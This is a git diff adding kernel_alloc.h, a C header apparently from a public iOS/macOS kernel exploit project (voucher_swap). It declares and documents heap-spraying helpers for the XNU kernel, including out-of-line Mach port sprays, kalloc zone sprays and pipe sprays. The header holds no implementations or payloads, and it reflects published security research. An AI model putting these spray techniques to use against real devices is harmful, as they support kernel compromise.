summaryrefslogtreecommitdiff
path: root/kernel_call/kernel_alloc.h
diff options
context:
space:
mode:
Diffstat (limited to 'kernel_call/kernel_alloc.h')
-rwxr-xr-xkernel_call/kernel_alloc.h291
1 files changed, 291 insertions, 0 deletions
diff --git a/kernel_call/kernel_alloc.h b/kernel_call/kernel_alloc.h
new file mode 100755
index 0000000..1c253db
--- /dev/null
+++ b/kernel_call/kernel_alloc.h
@@ -0,0 +1,291 @@
+/*
+ * kernel_alloc.h
+ * Brandon Azad
+ */
+#ifndef VOUCHER_SWAP__KERNEL_ALLOC_H_
+#define VOUCHER_SWAP__KERNEL_ALLOC_H_
+
+#include <mach/mach.h>
+#include <stddef.h>
+
+/*
+ * message_size_for_kalloc_size
+ *
+ * Description:
+ * Return the Mach message size needed for the ipc_kmsg to be allocated from the specified
+ * kalloc zone. This is exactly correct when kalloc_size is a multiple of 16, otherwise it
+ * could be slightly small.
+ */
+size_t message_size_for_kalloc_size(size_t kalloc_size);
+
+/*
+ * kalloc_size_for_message_size
+ *
+ * Description:
+ * Return the kalloc allocation size corresponding to sending a message of the specified size.
+ *
+ * This is only correct for messages large enough that the ipc_kmsg struct is allocated with
+ * kalloc().
+ */
+size_t kalloc_size_for_message_size(size_t message_size);
+
+/*
+ * ipc_kmsg_size_for_message_size
+ *
+ * Description:
+ * Return the allocation size of the ipc_kmsg for the given message size.
+ */
+size_t ipc_kmsg_size_for_message_size(size_t message_size);
+
+/*
+ * ool_ports_spray_port
+ *
+ * Description:
+ * Spray the given Mach port with Mach messages that contain out-of-line ports descriptors
+ * with the given ports. The goal is to spray the target kalloc zone with many copies of a
+ * particular array of OOL ports.
+ *
+ * Make sure that the port's queue limits are sufficient to hold the specified number of
+ * messages.
+ *
+ * Unfortunately, we cannot avoid the creation of ipc_kmsg objects to hold the messages
+ * enqueued on the port. You should ensure that the appropriate kalloc zone's freelist has
+ * sufficiently many intermediates to ensure that ipc_kmsg allocation does not interfere with
+ * the OOL ports spray.
+ *
+ * There are limits on the number of OOL ports that can be sent in a message, the number of
+ * descriptors in a message, and the number of messages that can be queued on a port. Be sure
+ * that the parameters you supply are valid, since this function does not check whether or not
+ * the kernel will let your message through (or even whether they make sense).
+ *
+ * Parameters:
+ * holding_port The port on which to enqueue the Mach messages.
+ * ool_ports The OOL Mach ports to spray.
+ * port_count The number of OOL Mach ports.
+ * ool_disposition The disposition to send the OOL ports.
+ * ool_count The number of OOL ports descriptors to send per message.
+ * message_size The size of each message.
+ * message_count The number of messages to enqueue on the holding port.
+ *
+ * Returns:
+ * Returns the number of messages that were successfully sent.
+ */
+size_t ool_ports_spray_port(mach_port_t holding_port,
+ const mach_port_t *ool_ports, size_t port_count,
+ mach_msg_type_name_t ool_disposition, size_t ool_count,
+ size_t message_size, size_t message_count);
+
+/*
+ * kalloc_spray_port
+ *
+ * Description:
+ * Spray the specified kalloc_zone with at least kalloc_count allocations by sending Mach
+ * messages containing OOL ports to the specified holding port. Returns the number of kalloc
+ * allocations that were actually performed.
+ *
+ * The point of this function is to quickly make as many kalloc allocations in the target zone
+ * as possible using the specified holding port. The way we do this is by sending messages
+ * with many OOL ports descriptors (consisting of empty ports) such that both the ipc_kmsg
+ * struct for the message and the OOL port arrays fall into the target kalloc zone. We will
+ * continue sending messages to the port until either we've created the required number of
+ * allocations or we've filled up the port's message queue.
+ *
+ * To free the allocations, call mach_port_destroy() on the holding port. Note that this will
+ * also free the holding port if there are no other references.
+ *
+ * Parameters:
+ * holding_port The port on which to enqueue the Mach messages.
+ * min_kalloc_size The minimum sized allocation that is handled by this zone.
+ * kalloc_zone The kalloc zone in which to spray allocations.
+ * kalloc_count The desired number of allocations to make.
+ *
+ * Returns:
+ * Returns the number of kalloc allocations actually made, which may be less than the number
+ * requested if the port fills up or if an error is encountered.
+ */
+size_t kalloc_spray_port(mach_port_t holding_port, size_t min_kalloc_size, size_t kalloc_zone,
+ size_t kalloc_count);
+
+/*
+ * kalloc_spray_size
+ *
+ * Description:
+ * Spray the specified kalloc_zone with spray_size bytes of allocations by sending Mach
+ * messages containing OOL ports to the given holding ports.
+ *
+ * See kalloc_spray_port().
+ *
+ * To free the allocations, call destroy_ports() on the holding ports. Note that
+ * destroy_ports() will also free the holding ports themselves if there are no other
+ * references.
+ *
+ * Parameters:
+ * holding_ports The array of holding ports.
+ * port_count inout On entry, the number of holding ports available. On exit,
+ * the number of holding ports used.
+ * min_kalloc_size The minimum sized allocation that is handled by this zone.
+ * kalloc_zone The kalloc zone in which to spray allocations.
+ * spray_size The number of bytes to try and spray to the target zone.
+ *
+ * Returns:
+ * Returns the number of bytes actually sprayed to the kalloc zone. This could be less than
+ * the requested size if an error is encountered or more than the requested size if the spray
+ * size was not an even multiple of the zone size.
+ */
+size_t kalloc_spray_size(mach_port_t *holding_ports, size_t *port_count,
+ size_t min_kalloc_size, size_t kalloc_zone, size_t spray_size);
+
+/*
+ * ool_ports_spray_size_with_gc
+ *
+ * Description:
+ * Spray spray_size bytes of kernel memory with the specified out-of-line ports.
+ *
+ * Parameters:
+ * holding_ports The array of holding ports.
+ * holding_port_count inout On entry, the number of holding ports available. On exit,
+ * the number of holding ports used.
+ * message_size The size of each message to send. This parameter should be
+ * chosen carefully, as allocations will be taken out of the
+ * corresponding kalloc zone.
+ * ool_ports The OOL Mach ports to spray.
+ * ool_port_count The number of OOL Mach ports.
+ * ool_disposition The disposition to send the OOL ports.
+ * spray_size The number of bytes of OOL ports to try and spray.
+ *
+ * Returns:
+ * Returns the number of bytes of OOL ports actually sprayed.
+ */
+size_t ool_ports_spray_size_with_gc(mach_port_t *holding_ports, size_t *holding_port_count,
+ size_t message_size, const mach_port_t *ool_ports, size_t ool_port_count,
+ mach_msg_type_name_t ool_disposition, size_t spray_size);
+
+/*
+ * create_ports
+ *
+ * Description:
+ * Create an array of Mach ports. The Mach ports are receive rights only. Once the array is no
+ * longer needed, deallocate it with free().
+ */
+mach_port_t *create_ports(size_t count);
+
+/*
+ * destroy_ports
+ *
+ * Description:
+ * Destroys the specified Mach ports and sets them to MACH_PORT_DEAD.
+ */
+void destroy_ports(mach_port_t *ports, size_t count);
+
+/*
+ * deallocate_ports
+ *
+ * Description:
+ * Deallocates the specified Mach ports and sets them to MACH_PORT_DEAD.
+ */
+void deallocate_ports(mach_port_t *ports, size_t count);
+
+/*
+ * port_increase_queue_limit
+ *
+ * Description:
+ * Increase the queue limit on the specified Mach port to MACH_PORT_QLIMIT_MAX.
+ */
+void port_increase_queue_limit(mach_port_t port);
+
+/*
+ * port_insert_send_right
+ *
+ * Description:
+ * Insert a send right on the specified port, which must name a receive right.
+ */
+void port_insert_send_right(mach_port_t port);
+
+/*
+ * port_drain_messages
+ *
+ * Description:
+ * Drain all the messages currently queued on the specified port. The messages are passed to
+ * the message_handler block, which is responsible for processing the messages and freeing any
+ * associated resources (e.g. with mach_msg_destroy()).
+ */
+void port_drain_messages(mach_port_t port, void (^message_handler)(mach_msg_header_t *));
+
+/*
+ * port_discard_messages
+ *
+ * Description:
+ * Discard all the messages currently queued on the specified port. The messages are received
+ * and passed directly to mach_msg_destroy().
+ */
+void port_discard_messages(mach_port_t port);
+
+/*
+ * ool_ports_spray_receive
+ *
+ * Description:
+ * Receive all the messages queued on the holding ports and pass the OOL ports descriptors to
+ * the specified handler block. The messages are destroyed after they are processed.
+ */
+void ool_ports_spray_receive(mach_port_t *holding_ports, size_t holding_port_count,
+ void (^ool_ports_handler)(mach_port_t *, size_t));
+
+/*
+ * increase_file_limit
+ *
+ * Description:
+ * Increase our process's limit on the number of open files.
+ */
+void increase_file_limit(void);
+
+/*
+ * pipe_close
+ *
+ * Description:
+ * Close the file descriptors of a pipe.
+ */
+void pipe_close(int pipefds[2]);
+
+/*
+ * create_pipes
+ *
+ * Description:
+ * Create a spray of pipes. On entry, pipe_count specifies the requested number of pipes, and
+ * on return it contains the number of pipes actually created.
+ *
+ * The pipes are returned as an array of file descriptors.
+ */
+int *create_pipes(size_t *pipe_count);
+
+/*
+ * close_pipes
+ *
+ * Description:
+ * Close the pipes in an array.
+ */
+void close_pipes(int *pipefds, size_t pipe_count);
+
+/*
+ * pipe_spray
+ *
+ * Description:
+ * Spray data to the pipes. Note that XNU limits the collective size of all pipe buffers to
+ * 16 MB, so that's the maximum we'll be able to spray.
+ *
+ * Note that the last byte of the sprayed data won't be written to memory!
+ *
+ * Parameters:
+ * pipefds The pipe file descriptors.
+ * pipe_count The number of pipe fd pairs.
+ * pipe_buffer The data to spray.
+ * pipe_buffer_size The size of the data to spray.
+ * update A callback to modify the data on each iteration.
+ *
+ * Returns:
+ * Returns the number of pipes actually filled.
+ */
+size_t pipe_spray(const int *pipefds, size_t pipe_count,
+ void *pipe_buffer, size_t pipe_buffer_size,
+ void (^update)(uint32_t pipe_index, void *data, size_t size));
+
+#endif